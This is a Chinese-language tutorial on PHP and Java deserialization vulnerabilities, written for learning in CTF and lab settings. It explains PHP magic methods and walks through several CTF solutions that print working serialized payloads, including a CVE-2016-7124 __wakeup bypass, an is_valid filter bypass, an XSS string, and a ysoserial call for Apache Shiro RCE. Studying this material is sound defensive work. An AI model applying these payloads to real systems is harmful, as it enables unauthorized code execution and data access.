网络安全是数字时代的基石,但学习过程中必须严守法律红线。 根据《中华人民共和国网络安全法》《数据安全法》等法律法规,任何未经授权的网络测试、数据访问或攻击行为均属违法。本文所有技术讨论与实例均基于合法授权的靶场环境(如Metasploitable、DVWA、Hack The Box等),严禁将文中方法应用于真实系统或非授权场景。 网络安全学习应以提升防御能力为目标,而非成为攻击工具。
一、概念
序列化是将复杂数据结构转换为便于传输或存储的字节流的过程,而反序列化则是将这些字节流还原为原始对象的过程。
当应用程序在反序列化过程中处理用户可控的恶意数据时,就可能产生反序列化漏洞,攻击者能够操纵序列化对象来执行任意代码或命令。
二、无类序列化/有类序列化
在序列化技术中,有类序列化和无类序列化是两种核心的实现方式,它们在数据格式、语言依赖性和使用场景上有着显著区别。
1、有类序列化
有类序列化通常与特定的编程语言或框架深度绑定,序列化后的数据包含了完整的类型信息和对象结构。
- 特点:序列化数据与类定义紧密相关,通常需要类的元数据(如类名、字段名、继承关系)才能成功反序列化。
- 优势:能够完整地重建原始对象,包括其类型和复杂的结构关系。
- 局限性:生成的序列化数据体积较大,传输效率较低,且通常无法跨语言使用。
- 典型代表:Java原生的Serializable接口、Python的pickle模块。例如,Java的序列化会包含校验信息、Header、继承体系等大量额外数据。
2、无类序列化
无类序列化则侧重于数据的通用性,它使用与编程语言无关的格式来描述数据。
- 特点:序列化后的数据是自描述的,不依赖于特定的类定义,反序列化过程更关注数据本身而非其原始对象类型。
- 优势:序列化结果紧凑,体积小,传输效率高,非常适合网络传输和跨语言数据交换。
- 典型代表:JSON、XML、Hadoop的Writable机制、Protocol Buffers。例如,JSON格式因其良好的可读性和广泛的工具支持而成为跨语言序列化的首选之一。
3、核心区别与应用场景
两者的根本区别在于序列化后的数据是否携带并依赖其原始的类型信息。选择哪种方式取决于具体需求:
- 当需要在单一语言环境(如JVM或Python解释器内部)持久化或传输完整的对象状态时,有类序列化更为方便。
- 当需要进行跨语言数据交换、网络通信或追求高传输效率时,无类序列化是更优的选择。例如,在 Hadoop 这类大数据框架中,为了减少网络带宽占用,就采用了自定义的无类序列化机制Writable
三、PHP 中的序列化
1、PHP中的无类序列化
无类序列化主要针对基础数据类型(如数组、字符串)进行序列化操作,不涉及类的定义。例如:
$a = array('a' => 'Apple', 'b' => 'banana');
$s = serialize($a); // 序列化为字符串
echo $s; // 输出:a:2:{s:1:"a";s:5:"Apple";s:1:"b";s:6:"banana";}
这种序列化格式直接描述了数据结构,不依赖任何类信息4。
2、PHP中的有类序列化
有类序列化针对对象实例,序列化后的数据包含类名和属性信息。PHP通过魔术方法(如__sleep()和__wakeup())来控制序列化和反序列化过程。例如:
class User {
public $name = "1111"; // 公共属性 $name,其值为字符串"1111"
private $age = "29"; // 私有属性 $age。在序列化时,私有属性名会被格式化为 类名属性名,即"Userage"
protected $sex = "man"; // 受保护属性 $sex。在序列化时,受保护属性名会被格式化为 *属性名,即"*sex",其值为字符串"man"
}
$a = new User(); // 调用类(类实例化对象a)
echo serialize($a);
// 输出:O:4:"User":3 {s:4:"name";s:4:"1111";s:9:"Userage";s:2:"29";s:6:"*sex";s:3:"man";}
序列化后的字符串会包含类名User以及属性信息(私有和受保护属性会有特殊前缀)。在反序列化时,如果类中存在__wakeup()方法,该方法会被自动调用
1.)权限修饰符
public(公共的):在本类内部、外部类、子类都可以访问
protect(受保护的):只有本类或子类或父类中可以访问,序列化的时候格式是%00*%00 属性名
private(私人的):只有本类内部可以使用,序列化的时候格式是%00 类名%00 属性名,%00 占一个字节长度
2.)常见的魔术方法
\\1. __construct() 和 __destruct()
__construct() 这是一个构造函数方法,当一个对象被创建时自动调用。我们可以在这个方法中初始化对象的属性和执行一些其他必要的操作。如属性赋值、建立数据库连接等。
__destruct() 这是一个析构函数方法,在对象销毁时调用,常用于释放资源。例如关闭数据库连接或文件句柄。
\\2.__get()和__set()
当访问不存在或不可访问的属性时,__get() 会被调用,且必须有返回值。
给不可访问属性赋值则会触发 __set()
\\3. __call()和__callStatic()
__call() 在调用不可访问的非静态方法时自动触发。
__callStatic() 在以静态方式调用不可访问方法时执行。
\\4. __toString()
当对象被当作字符串处理时,此方法会被调用,并且必须返回一个字符串
\\5. __isset()和__unset()
unset()(函数):销毁指定变量
isset()(函数): 检测变量是否设置
对不可访问属性使用 isset() 或 empty() 时会调用 __isset()(魔术方法)。对类属性使用 unset() 则会触发 __unset()(魔术方法)。
\\6. __clone()
此方法在对象复制完成后被调用
\\7. __sleep()和__wakeup()
__sleep() 在序列化对象之前执行,常用于提交未提交的数据,其返回值必须是一个数组。
__wakeup() 则在反序列化恢复对象之前调用,常用于重新建立数据库连接等初始化操
\\8. __invoke()
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
四、Java 中的序列化
Java的序列化机制主要属于有类序列化。一个类需要实现java.io.Serializable接口才支持序列化。序列化和反序列化通过ObjectOutputStream和ObjectInputStream实现:
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("file.txt"));
oos.writeObject(student); // 写入对象
// 反序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream("file.txt"));
Object obj = in.readObject(); // 读取并重建对象
Java序列化会保存对象的类结构信息,反序列化时必须能访问到原始类的定义。Java也支持通过Externalizable接口进行更细粒度的序列化控制。
五、PHP 反序列化漏洞
PHP 通过serialize()和unserialize()函数实现序列化与反序列化操作。
serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象
漏洞成因在于unserialize()函数的参数可控,攻击者通过构造恶意序列化字符串,可以改变对象的属性值并触发特定魔术方法(如__wakeup、__destruct)执行任意代码。
漏洞常出现在Session处理机制中,当Session的序列化存储格式与读取格式不一致时,就会产生安全风险。
例如,如果存储时使用php_serialize格式而读取时使用php格式,就可能导致对象注入漏洞。
PHP的魔术方法是这类漏洞的关键所在,它们在特定条件下会自动执行。重要的魔术方法包括:
- __wakeup():在unserialize()时自动调用
- __destruct():对象被销毁时触发
- __toString():对象被当作字符串处理时执行
**利用步骤:**
构造恶意序列化字符串:通过控制unserialize()的输入参数,覆盖对象属性值。例如:
a:1:{s:1:"a";s:10:"phpinfo();";}
// a:1 表示这是一个包含1个元素的数组,s:1:"a" 表示键为字符串"a"(长度为1),s:10:"phpinfo();" 表示值为字符串"phpinfo();"(长度为10)
此字符串会创建一个对象,其属性a的值为phpinfo();。
触发魔术方法:若类中定义了__destruct或__wakeup等方法,反序列化时会自动触发。例如:
class Test {
public function __destruct() {
eval($this->a);
}
}
攻击者通过传入包含恶意代码的序列化字符串,即可在对象销毁时执行命令。
利用链构造:通过POP链(Property Oriented Programming)将多个对象关联,实现复杂攻击。例如,通过__toString或__call方法触发其他漏洞。
六、Java 反序列化漏洞
Java反序列化漏洞通常出现在框架的Remember Me功能中或由ObjectInputStream.readObject()方法引发,攻击者通过构造恶意对象链(Gadget Chain)触发反序列化过程中的代码执行。
以Apache Shiro为例,其默认使用硬编码的 AES 加密密钥,攻击者可以构造恶意序列化对象,通过Remember Me cookie触发远程代码执行。攻击者通过精心构造的调用链,能够利用反序列化过程执行系统命令,比如弹出计算器等操作。
典型案例:Apache Shiro RememberMe 漏洞
漏洞原理:Shiro框架的RememberMe功能使用硬编码密钥对序列化对象进行AES加密。攻击者可构造恶意对象,加密后作为Cookie发送,Shiro解密并反序列化时触发漏洞。
利用工具:使用ysoserial生成恶意对象链,例如:
import subprocess
subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections2', 'command'])
通过 AES 加密后注入到RememberMe Cookie中,实现远程命令执行(RCE)。
常见利用链:
- CommonsCollections 链:利用InvokerTransformer和MethodInvocation动态加载恶意类。
- Fastjson 链:通过@type字段指定恶意类,触发反序列化漏洞。
防御措施:
七、漏洞利用与防御
攻击者通过构造恶意的序列化数据,在目标系统反序列化时触发有害操作。防御措施包括:
- 对反序列化数据进行严格校验
- 使用白名单机制限制可反序列化的类
- 避免反序列化不可信数据
- 及时更新框架和库以修复已知漏洞
PHAR 文件反序列化是另一种攻击向量,几乎所有文件操作函数都可能触发这个问题。因此,在处理用户输入和文件操作时需要格外谨慎,特别是涉及到序列化数据处理的场景。
八、实例–无类序列化
1、实例–基本原理
1.)准备靶场
使用在线PHP运行工具:PHP 在线工具 | 菜鸟工具
在PHP study的网站根目录下创建文件
a.php 代码如下:
<?php
error_reporting(0);
include "flag.php";
$KEY = "luojie";
$str = $_GET['str'];
if(unserialize($str)===$KEY)
{
echo "$flag" ."</br>";
}
show_source(__FILE__);
?>
flag.php 代码如下:
<?php
$flag ='this flag';
?>
2.)实施步骤
关键点: unserialize($str)===$KEY 即反序列化以后的 $str 与字符串 luojie 相同 。那就需要先对 $str 的变量进行序列化处理

当变量 $str 的值为 s:6:"luojie"; 时,通过反序列化 unserialize() 就会恢复成字符串,此时就能显示 flag

2、实例–CTF 真题
1.)准备靶场
使用在线PHP运行工具:PHP 在线工具 | 菜鸟工具
在PHP study的网站根目录下创建文件
ctf.php 代码如下:
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else
{
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body><br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button" /></p>
</form>
</div>
</body>
</html>
<?php
}
$KEY = 'ISecer:www.isecer.com';
?>
flag.php 代码如下:
<?php
$flag ='this flag';
?>
2.)实施步骤
a.)分析

if条件代码比较诡异
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else
{xxx}
当变量 hint 不为空时,显示文件内容;当 unserialize($cookie) === "$KEY" 时,显示 $flag ;否则显示 xxx 内容。
此时,修改代码,unserialize($cookie) === "$KEY" 改为 1===1 链接中传入参数 hint=1 此时应该是显示 ctf.php 文件内容和 $flag
但是出乎意料,此时并没有显示 $flag 只显示了 ctf.php 文件内容
<i
说明PHP代码的 if 条件执行是有顺序的 。在此案例中,想显示 $flag 的值 hint 不能被传递参数
代码 $KEY = 'ISecer:www.isecer.com'; 被放在了最后,所以毫无意义,因为当执行到获取 $flag 条件语句的时候, $KEY 还是没有被赋值的状态。
所以需要对 '$key' 的值进行确认,到底是空(unll),还是未定义(Undefined),写一段代码看看

说明 '$key' 是个空的字符串
通过以上分析知道:
- 当变量 hint 为空时,才能在条件 unserialize($cookie) === "$KEY" 成立时显示 $flag
- '$key' 是个空的字符串
- unserialize($cookie) 必须是空的字符串,$cookie 是序列化的 空字符串
- $_COOKIE['ISecer'] 说明 cookie的格式是 ISecer=""; 而 空字符必须是序列化的,随意,最终为:ISecer=s:0:"";
b.)实践
刷新页面 http://localhost/ctf.php 并抓包,发送到 Repeater 模块,添加 Cookie: ISecer=s:0:""; 并发送。
最终获得 flag

九、实例–有类序列化
1、类序列化
准备文件 1.php 代码如下:
<?php
class Person{
public $name = 'luojie';
public $age = 18;
}
$p = new Person();
$obj = serialize($p);
print_r($obj);
?>
类 Person 序列化后的结果为 :O:6:"Person":2:{s:4:"name";s:6:"luojie";s:3:"age";i:18;}

2、类反序列化
新建文件 2.php 。直接将类 Person 序列化后的结果 O:6:"Person":2:{s:4:"name";s:6:"luojie";s:3:"age";i:18;} 进行反序列化。代码如下:
<?php
$p = 'O:6:"Person":2:{s:4:"name";s:6:"luojie";s:3:"age";i:18;}';
$obj = unserialize($p);
print_r($obj);
?>
结果为:__PHP_Incomplete_Class Object ( [__PHP_Incomplete_Class_Name] => Person [name] => luojie [age] => 18 )

这个输出表明遇到了 PHP 反序列化过程中的 __PHP_Incomplete_Class 问题。当 PHP 的 unserialize() 函数尝试反序列化一个在当前环境中未定义的类,或者该类不在 allowed_classes 选项允许的列表中时,就会创建此特殊类的对象。
说人话:原始序列化数据中的类是 Person,但在反序列化时,PHP 找不到名为 Person 的类定义
那么定义类以后看结果如何,此处顺便修改 类 Person 中的name 变量与序列化后的数据中 name 变量不一致,看有什么结果。新建 3.php代码如下:
<?php
class Person{
public $name = 'liann';
public $age = 18;
}
$p = 'O:6:"Person":2:{s:4:"name";s:6:"luojie";s:3:"age";i:18;}';
$obj = unserialize($p);
print_r($obj);
echo "<br>";
echo $obj->name;
?>
显示的结果:

说明序列化的数据在反序列化后,数据不会因为类的数据与它不一致而改变
十、实例–常用魔术方法触发条件
1、实例–__construct() 和 __destruct()
目标:查看 构造函数 __construct() 和 析构函数 __destruct() 被调用的条件
准备 4.php 文件,代码如下:
<?php
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__); // 显示文件内容
class Person{
/* 创建类Person */
public $name='luojie'; // 类中的公共属性元素name
function __construct()
/* 构造函数 */
{
echo "<br>调用"."__construct";
echo "<br>";
}
function __destruct()
/* 析构函数 */
{
echo "调用"."__destruct";
echo "<br>";
}
}
$a= new Person();// 实例化对象 Person()
echo serialize($a);
echo "<br>";
?>
运行结果:

当创建实例化对象时,构造函数 __construct() ;当代码运行完最后一句 echo "<br>"; 时 析构函数 __destruct() 被调用,释放对象占用的资源。
2、实例–__sleep 和 __wakeup
目标:查看 __sleep 和 __wakeup 函数被调用的条件
准备 5.php 文件,代码如下:
<?php
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class Person{
public $name='liann';
function __construct(){
echo "调用"."__construct";
echo "<br>";
}
function __destruct(){
echo "调用"."__destruct";
echo "<br>";
}
function __sleep(){
echo "调用"."__sleep";
echo "<br>";
return array('name');
}
function __wakeup(){
echo "调用"."__wakeup";
echo "<br>";
}
}
$a= new Person();
echo serialize($a);
$b='O:6:"Person":1:{s:4:"name";s:6:"luojie";}';
echo "<br>";
print_r(unserialize($b));
?>
运行结果

结论:
3、实例–__get() 和 __set()
目标:查看 __get() 和 __set() 函数被调用的条件
准备 6.php 文件,代码如下:
<?php
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class Person {
public $name = 'liann';
private $str = 'hello';
function __construct() {
echo "<br>";
echo "调用 " ." __construct()";
}
function __destruct() {
echo "<br>";
echo "调用 " . "__destruct()";
echo "<br>";
}
function __get($b) {
echo "<br>";
echo "调用 " . "__get";
echo "<br>";
return $this->str;
}
function __set($name,$value) {
echo "<br>";
echo "调用 " . "__set";
echo "<br>调用 __set的属性名:" . $name;
echo "<br>调用 __set的属性值:" . $value;
$this->str = $value; // 将$value 赋值给类里的 $str
}
}
$a= new Person();
echo $a->age;
$a->age=13;
echo $a->str;
echo "<br>修改并输出类的原公共属性参数name: ".$a->name."<br>为: ";
$a->name='luojie';
echo $a->name
?>
运行结果

结论:
- 外部访问类中不存在的属性时就会调用 __get()
- 在类中调用其私有属性,不会触发 __get()
- 外部访问类中的私有属性变量时会触发 __get()
- 外部修改类中不存在的属性时就会触发 __set()
- 在类中修改其私有属性值时不会触发 __set()
- 外部调用类的公共属性变量时不会触发 __get() 和 __set()
4、实例–__call() 和 __callStatic()
目标:查看 __call() 和 __callStatic() 函数被调用的条件
准备 7.php 文件,代码如下:
<?php
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class Person {
public $name = 'liann';
public $str = 'hello';
public static function myStaticMethod() {
/* 定义公共静态方法 myStaticMethod */
echo "<br>";
echo "调用 " . "myStaticMethod";
echo "<br>";
}
function __construct() {
/* 构造方法,对象创建时自动调用*/
echo "<br>";
echo "调用 " ." __construct()";
echo "<br>";
}
function __destruct() {
/* 析构方法,对象销毁时自动调用 */
echo "<br>";
echo "调用 " . "__destruct()";
echo "<br>";
}
function __call($b,$q) {
/* 魔术方法,调用不存在或不可访问的非静态方法时触发 */
echo "<br>";
echo "调用 " . "__call";
echo "<br>";
return $this->str;
}
public static function __callStatic($func, $arguments){
/* 定义公共静态魔术方法 __callStatic ,调用不存在或不可访问的静态方法时触发 */
echo "<br>";
echo "调用 " . "__callStatic";
echo "<br>";
}
}
$a= new Person();
echo $a->method(); // 非静态方法调用 method() 方法
Person::myStaticMethod(); // 静态方法调用 myStaticMethod() 方法
Person::method2(); // 静态方法调用 method2() 方法
?>
查看执行结果

结论:
- 非静态方式调用不存在方法 method() 触发 __call,返回"hello"
- 正常调用静态方法
- 静态方式调用不存在静态 method2() 方法触发 __callStatic
- 脚本结束时对象销毁触发__destruct
本实例知识补充:
$a->method() – 非静态方法调用
- 这是通过对象实例调用方法
- 期望method()是一个非静态方法(实例方法)
- 如果method()不存在,会触发__call()魔术方法
- 在方法内部可以使用$this关键字访问当前对象实例
- 执行的是对象级别的操作
**Person::method() – 静态方法调用**
- 这是通过类名直接调用方法
- 期望method()是一个静态方法(类方法)
- 如果method()不存在,会触发__callStatic()魔术方法
- 在方法内部不能使用$this,只能通过self::或类名访问静态成员
- 执行的是类级别的操作
**关键区别:**
- 错误处理:前者触发__call(),后者触发__callStatic()
- 上下文:实例方法可以访问对象属性,静态方法只能访问静态属性
5、实例– __toString() 和 __clone()
目标:查看 __toString() 和 __clone() 函数被调用的条件
准备 8.php 文件,代码如下:
<?php
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class Person {
public $name = 'luojie';
function __construct() {
echo "<br>";
echo "调用 " ." __construct()";
echo "<br>";
}
function __destruct() {
echo "<br>";
echo "调用 " . "__destruct()";
echo "<br>";
}
function __toString() {
echo "<br>";
echo "调用 " . "__toString";
echo "<br>";
return $this->name;
}
function __clone() {
echo "<br>";
echo "调用 " . "__clone";
echo "<br>";
}
}
$a = new Person();
echo $a . '<br>';// 以字符串的形式输出$a
$b = $a;
echo $a === $b;// 结果为true 显示1
$c = clone $a;
echo $a === $c;// 结果为false 无显示
/* —-添加代码显示$a,$b,$c的属性,方便更好理解—- */
echo "<br><br><strong>变量属性查询结果:</strong><br>";
// 显示$a的属性
echo "<br>— \\$a 的属性 —<br>";
echo "类型: " . gettype($a) . "<br>";
if (is_object($a)) {
echo "类名: " . get_class($a) . "<br>";
$a_properties = get_object_vars($a);
echo "属性数量: " . count($a_properties) . "<br>";
echo "属性详情:<br>";
foreach ($a_properties as $key => $value) {
echo " {$key}: {$value}<br>";
}
}
// 显示$b的属性
echo "<br>— \\$b 的属性 —<br>";
echo "类型: " . gettype($b) . "<br>";
if (is_object($b)) {
echo "类名: " . get_class($b) . "<br>";
$b_properties = get_object_vars($b);
echo "属性数量: " . count($b_properties) . "<br>";
echo "属性详情:<br>";
foreach ($b_properties as $key => $value) {
echo " {$key}: {$value}<br>";
}
}
// 显示$c的属性
echo "<br>— \\$c 的属性 —<br>";
echo "类型: " . gettype($c) . "<br>";
if (is_object($c)) {
echo "类名: " . get_class($c) . "<br>";
$c_properties = get_object_vars($c);
echo "属性数量: " . count($c_properties) . "<br>";
echo "属性详情:<br>";
foreach ($c_properties as $key => $value) {
echo " {$key}: {$value}<br>";
}
}
// 显示对象比较结果
echo "<br>— 对象比较 —<br>";
echo "\\$a === \\$b: " . ($a === $b ? 'true' : 'false') . " (引用同一个对象)<br>";
echo "\\$a === \\$c: " . ($a === $c ? 'true' : 'false') . " (不同对象实例)<br>";
// 显示当前作用域所有变量
echo "<br>— 当前作用域所有变量 —<br>";
$all_vars = get_defined_vars();
foreach ($all_vars as $var_name => $var_value) {
if (in_array($var_name, ['a', 'b', 'c'])) {
echo "变量 {$var_name}: " . gettype($var_value);
if (is_object($var_value)) {
echo " (" . get_class($var_value) . ")";
}
echo "<br>";
}
}
?>
因运行后的结果较长,需要自行运行后查看。说结论:
- 当我们尝试以字符串的形式输出一个对象时,__toString()方法将被调用
- 当我们使用关键字 clone 复制一个对象时,__clone() 方法将被调用。
- $c = clone $a; 中 $c 与 $a 不是一个对象实例
- $b = $a; 是赋值运算,本质上 $b与 $a 是一个对象实例
十一、实例–CTF题目
1、2020-网鼎杯-青龙组-Web-AreUSerialz
目标:获取flag
运行环境:PHP study版本 >= php-7.1.13
Pyload运行场所: PHP 在线工具 | 菜鸟工具
1.)准备靶场
ctf.php 执行文件,代码如下(内含代码解析):
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
/* 初始化默认值并调用process方法。 在没有对类进行实例化时,不会被触发,所以此方法为干扰代码 */
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
/* 根据$op值决定执行写入或读取操作。注意:此处没有进行严格比较 */
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
/* 将内容写入文件(限制内容长度≤100字符) */
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
/* 当 isset($this->filename)不为空时 调用NewFlag类中的 getFlag()方法,获取flag */
$res = "";
if(isset($this->filename)) {
$res = NewFlag::getFlag($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
/* 在对象销毁时触发,如果$op为"2"会先修改为"1",此处用的是严格等于,需要考虑变量的类型 */
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
/* 安全检测函数
检查字符串是否只包含ASCII 32-125的可打印字符 */
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
flag.php 目标文件,代码如下:
<?php
class NewFlag {
public static function getFlag($fileName) {
$res = "flag error";
if($fileName =="flag.php") {
$res = "flag:{this is flag}";
}
return $res;
}
}
?>
2.)解题思路
-
目标:通过反序列化调用read方法获取flag
-
难点1:__destruct 会将 $op 从"2"改为"1",导致无法进入read分支
- 绕过方法1:利用 PHP 类型松散比较特性(=== 与 == 的区别)
- 构造payload:设置 $op=2(整数而非字符串"2"),这样 __destruct 中的严格比较(===)不会匹配,但process中的松散比较(==) 会匹配
- 绕过方法2:将 $op 从"2"改为" 2" 即2前边添加空格
-
难点2:输出的序列化字符串绕过 is_valid() 函数检查
-
绕过方法1:PHP7.1+对于属性的类型不敏感,因此将元素属性可以改成 public 来绕过
-
绕过方法2:序列化字符串绕过is_valid函数检查的原理主要涉及两个关键处理:
- 空字符处理:PHP序列化字符串中受保护属性(protected)会包含空字符(\\x00*\\x00),而is_valid函数会拒绝包含非ASCII 32-125字符的字符串。通过将chr(0)替换为\\00,保持了字符串的可打印性,同时保留了序列化结构。
- 类型标识符替换:将s:替换为S:利用了PHP序列化格式的变体。S:表示使用转义序列处理特殊字符,这样即使包含\\00这样的转义序列,也能被PHP正确解析,同时满足is_valid的字符范围检查。
这样生成的序列化字符串既能通过is_valid的过滤,又能在反序列化时保持原有的对象结构,成功触发漏洞利用逻辑
-
3.)实践方法一
将 $op 从"2"改为" 2" 即2前边添加空格;将元素属性改成 public
Payload:
<?php
class FileHandler {
public $op=" 2";
public $filename="flag.php";
public $content="cs";
}
$fh = new FileHandler();
echo serialize($fh);
?>
得到数据:
O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"cs";}
传参得结果:

4.)实践方法二
将 %00 替换为 \\00 并且 小写 s 替换为大写 S
Payload:
<?php
class FileHandler{
protected $op=2;
protected $filename="flag.php";
}
$a = serialize(new FileHandler);
$a = str_replace(chr(0),'\\00',$a);
$a = str_replace('s:','S:',$a);
echo $a;
?>
得到数据:
O:11:"FileHandler":2:{S:5:"\\00*\\00op";i:2;S:11:"\\00*\\00filename";S:8:"flag.php";}
传参得结果:

2、真题-[极客大挑战 2019]PHP
链接:[BUUCTF在线评测](https://buuoj.cn/challenges#[极客大挑战 2019]PHP) 需要自己去注册网站
目标:获取flag
1.)获取靶场信息
使用开发者工具,得到信息使用PHP语言编写的网站

网站上讲,管理员有备份网站的习惯。用 7ksacn 扫以下看看。字典使用备份./7kbscan/DirScan 来自安全圈的字典/备份.txt

从链接中下载,获得网站备份文件 www.zip

直接打开 flag.php

肯定不是这里。而且,备份文件里的东西,flag.php 大概率也是过期的。
打开 index.php 发现如下代码

获得以下信息:
打开 class.php ,查看代码

获得以下信息:
password = 100 并且 username === 'admin' 时,才会拿到 flag
需要通过 select 直接传递序列化的参数
进行反序列化时,会启用 __wakeup() 将 username 的值强制变为 guest 。必须绕过它。
此处就需要结合网页上PHP的版本信息 php/5.3.3 来查找漏洞。经过查找,其存在 CVE-2016-7124 漏洞 。
影响版本:PHP5 < 5.6.25;PHP7 < 7.0.10
漏洞原因:如果存在__wakeup 方法,调用 unserilize() 方法前则先调用__wakeup 方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup 的执行
2.)实施
重点在于绕过此代码中的 __wakeup() 方法。
在 PHP 在线工具 | 菜鸟工具 中在线执行代码,代码如下:
<?php
class Name{
private $username = "admin";
private $password = 100;
}
$n = new Name();
echo serialize($n);
?>
查看效果:

将输出的结果中的方框用 %00 替换,可以得到序列化的数据 O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
或者直接使用 urlenconde() 函数进行转码,但是这样不会看的很清楚了。
然后根据 CVE-2016-7124 漏洞 规则,将元素个数 2 变为 3 。得到了新的序列化数据 :
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
在靶场主页传递参数
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
得到flag

3、CTF-XSS
目标:执行XSS 代码 <script>alert(1)</script>
文件代码:
<?php
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>
方法一:常规
直接将 <script>alert(1)</script> 进行序列化,然后传参

传参:
?k=s:25:"<script>alert(1)</script>";

方法二:利用原生类
利用原生类,可以在需要绕狗的时候考虑,比常规办法应用更广泛。
原生类知识:
原生类就是这语言原本就包含的类,不需要自己定义,拿来就可以用,比如 Error/Exception/SoapClient 等,可以使用下面代码查看有哪些原生类。
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\\n";
}
}
}
Exception
Exception:用于 PHP5、7、8,是所有用户级异常的基类。
此处方法二,我们使用 Exception()。
先对 Exception("<script>alert(1)</script>") 进行序列化

有很多需要替换成 %00 的小方框,那就使用 urlencode() 函数进行url转码

复制结果并传参

一样可以执行 XSS代码
十二、本文总结和心得
1、本文总结
本文围绕序列/反序列化漏洞展开,系统阐述了其概念、核心分类、不同语言实现方式、漏洞原理、利用方法及防御措施,并结合实例进行了详细分析。
1.) 核心概念与分类
- 序列化与反序列化:序列化是将数据结构转换为字节流的过程,反序列化则是将字节流还原为原始对象的过程。当反序列化处理不可信数据时,可能导致漏洞。
- 无类序列化 vs 有类序列化:
- 无类序列化:数据格式通用(如JSON、XML),不依赖类定义,适合跨语言数据交换,体积小、效率高。
- 有类序列化:与特定语言绑定(如Java的Serializable、PHP的pickle),包含类元数据,可完整重建对象,但体积大、跨语言兼容性差。
2.) 语言特性与漏洞原理
- PHP中的序列化:
- 支持无类(数组、字符串)和有类(对象)序列化,私有/受保护属性在序列化时会添加特殊前缀(如%00类名%00、%00*%00)。
- 漏洞核心:unserialize()函数参数可控时,攻击者可构造恶意序列化字符串,触发魔术方法(如__wakeup()、__destruct())执行代码。
- Java中的序列化:
- 需实现Serializable接口,通过ObjectInputStream.readObject()反序列化,漏洞常通过构造恶意对象链(Gadget Chain)触发,如Apache Shiro的RememberMe漏洞。
3. )漏洞利用与典型案例
- PHP反序列化漏洞:
- 利用步骤:构造恶意序列化字符串 → 触发魔术方法(如__destruct()中调用eval()) → 执行代码。
- 实例:通过修改Session序列化格式(如php_serialize与php格式冲突)导致对象注入。
- Java反序列化漏洞:
- 典型案例:Apache Shiro使用硬编码AES密钥,攻击者构造恶意对象链(如CommonsCollections链),通过RememberMe Cookie触发远程代码执行。
4.) 防御措施
- 输入验证:严格校验反序列化数据,避免处理不可信来源数据。
- 白名单机制:限制可反序列化的类,仅允许安全类实例化。
- 更新依赖:修复第三方库漏洞(如Shiro升级至1.7+版本)。
- 禁用危险方法:避免在反序列化类中实现readObject()等高风险方法。
2、心得
通过本文学习,不仅需掌握技术原理,更需建立“不信任用户输入”的安全思维,在开发中严格控制反序列化流程,从源头降低漏洞风险。

